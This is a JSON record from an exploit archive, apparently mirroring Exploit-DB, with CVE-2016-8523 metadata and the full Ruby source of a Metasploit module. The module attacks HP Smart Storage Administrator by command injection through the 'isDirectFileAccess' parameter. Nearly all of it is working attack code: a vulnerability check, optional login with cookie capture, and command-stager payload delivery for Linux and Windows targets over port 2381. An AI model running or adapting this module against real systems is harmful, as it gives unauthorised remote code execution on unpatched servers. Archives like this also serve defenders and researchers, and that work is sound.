{"exploit":{"id":"EDB-41297","name":"HP Smart Storage Administrator 2.30.6.0 - 'isDirectFileAccess' Remote Command Injection (Metasploit)","description":"HP Smart Storage Administrator 2.30.6.0 - 'isDirectFileAccess' Remote Command Injection (Metasploit)","cves":["CVE-2016-8523"],"author":"MaKyOtOx","published":"2017-02-10","platform":"php","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41297","path":"exploits/php/remote/41297.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41297.rb","vulnerabilities":[{"id":"CVE-2016-8523","state":"PUBLISHED","title":null,"titleSource":null,"description":"A Remote Arbitrary Code Execution vulnerability in HPE Smart Storage Administrator version before v2.60.18.0 was found.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-8523","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-8523"},"updatedAt":"2024-09-16T17:32:45.617Z","retrievedAt":"2026-11-26T17:05:42.436Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41297.png?v=2","url":"https://exploitbin.com/exploits/EDB-41297","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41297/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41297/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::CmdStager\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'           => \"HP Smart Storage Administrator Remote Command Injection\",\n      'Description'    => %q{\n        This module exploits a vulnerability found in HP Smart Storage Administrator. By\n        supplying a specially crafted HTTP request, it is possible to control the\n        'command' variable in function isDirectFileAccess (found in ipcelmclient.php),\n        which will be used in a proc_open() function. Versions prior to HP SSA 2.60.18.0 are vulnerable.\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          'Nicolas Mattiocco (@MaKyOtOx)'  # Discovery & multi-platform Metasploit module\n        ],\n      'References'     =>\n        [\n          ['CVE', '2016-8523']\n        ],\n      'DefaultOptions' =>\n        {\n          'SSL' => true\n        },\n      'Platform'       => %w{ linux win },\n      'Targets'        =>\n        [\n          ['Linux', {\n            'Platform' => 'linux',\n            'Arch' => ARCH_X86,\n            'CmdStagerFlavor' => 'bourne'\n          }],\n          ['Linux (x64)', {\n            'Platform' => 'linux',\n            'Arch' => ARCH_X86_64,\n            'CmdStagerFlavor' => 'bourne'\n          }],\n          ['Windows', {\n            'Platform' => 'win',\n            'Arch' => ARCH_X86,\n            'CmdStagerFlavor' => 'certutil'\n          }],\n          ['Windows (x64)', {\n            'Platform' => 'win',\n            'Arch' => ARCH_X86_64,\n            'CmdStagerFlavor' => 'certutil'\n          }],\n        ],\n      'Privileged'     => false,\n      'DisclosureDate' => \"Jan 30 2017\"\n    ))\n\n    register_options(\n      [\n        Opt::RPORT(2381),\n        # USERNAME/PASS may not be necessary, because the anonymous access is possible\n        OptString.new(\"USERNAME\", [false, 'The username to authenticate as']),\n        OptString.new(\"PASSWORD\", [false, 'The password to authenticate with'])\n      ], self.class)\n  end\n\n  def check\n\n    @cookie = ''\n\n    sig = Rex::Text.rand_text_alpha(8)\n    cmd = \"&echo%20#{sig}&echo\"\n    res = send_command(cmd, true)\n    if not res\n      vprint_error(\"#{peer} - Connection timed out\")\n      return Exploit::CheckCode::Unknown\n    end\n\n    if res.code == 200 && res.headers.to_s() =~ /#{sig}/\n      return Exploit::CheckCode::Vulnerable\n    end\n\n    Exploit::CheckCode::Safe\n  end\n\n\n  def login\n    username = datastore['USERNAME']\n    password = datastore['PASSWORD']\n\n    cookie = ''\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri'    => '/proxy/ssllogin',\n      'vars_post' => {\n        'redirecturl'         => '',\n        'redirectquerystring' => '',\n        'user'                => username,\n        'password'            => password\n      }\n    })\n\n    if not res\n      fail_with(Failure::Unknown, \"#{peer} - Connection timed out during login\")\n    end\n\n    # CpqElm-Login: success\n    if res.headers['CpqElm-Login'].to_s =~ /success/\n      cookie = res.get_cookies.scan(/(Compaq\\-HMMD=[\\w\\-]+)/).flatten[0] || ''\n    end\n\n    cookie\n  end\n\n\n  def setup_stager\n    execute_cmdstager(:temp => './', :linemax => 2800)\n  end\n\n\n  def execute_command(cmd, opts={})\n    res = send_command(cmd, false)\n    if res && res.code != 200\n      vprint_error(\"Unexpected response:\\n#{res}\")\n      fail_with(Failure::Unknown, \"There was an unexpected response\")\n    end\n  end\n\n\n  def send_command(cmd, check)\n    if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty?\n      @cookie = login\n      if @cookie.empty?\n        fail_with(Failure::NoAccess, \"#{peer} - Login failed\")\n      else\n        print_good(\"#{peer} - Logged in as '#{datastore['USERNAME']}'\")\n      end\n    end\n\n    req_opts = {}\n\n    # For the check() function, use GET method\n    if check\n      req_opts['uri'] = \"/HPSSA/index.htm#{cmd}\"\n      req_opts['method'] = \"GET\"\n    else\n      req_opts['uri'] = \"/HPSSA/index.htm\"\n      req_opts['method'] = \"POST\"\n      req_opts['vars_post'] = {'msf'=>'red'}\n      case target.opts['Platform']\n        when \"linux\" then req_opts['data'] = \"\\\" & #{cmd.gsub(/\\.\\//,\"/tmp/\")} & echo \\\"\"\n        when \"win\"   then req_opts['data'] = \"\\\" & #{cmd.gsub(/\\.\\//,\"\\.\\\\\")} & echo \\\"\"\n      end\n    end\n\n    unless @cookie.empty?\n      browser_chk = 'HPSMH-browser-check=done for this session'\n      curl_loc    = \"curlocation-#{datastore['USERNAME']}=\"\n      req_opts['cookie'] = \"#{@cookie}; #{browser_chk}; #{curl_loc}\"\n    end\n\n    send_request_cgi(req_opts)\n  end\n\n  def exploit\n    @cookie = ''\n\n    setup_stager\n  end\nend","sha256":"41fc51820ebd54c606dec493e7a2aa394e7319a71e13dc2bcf2451e88a194633","bytes":4870,"fetchedAt":"2026-11-26T17:05:42.178Z","encoding":"utf-8 (display only; download retains original bytes)"}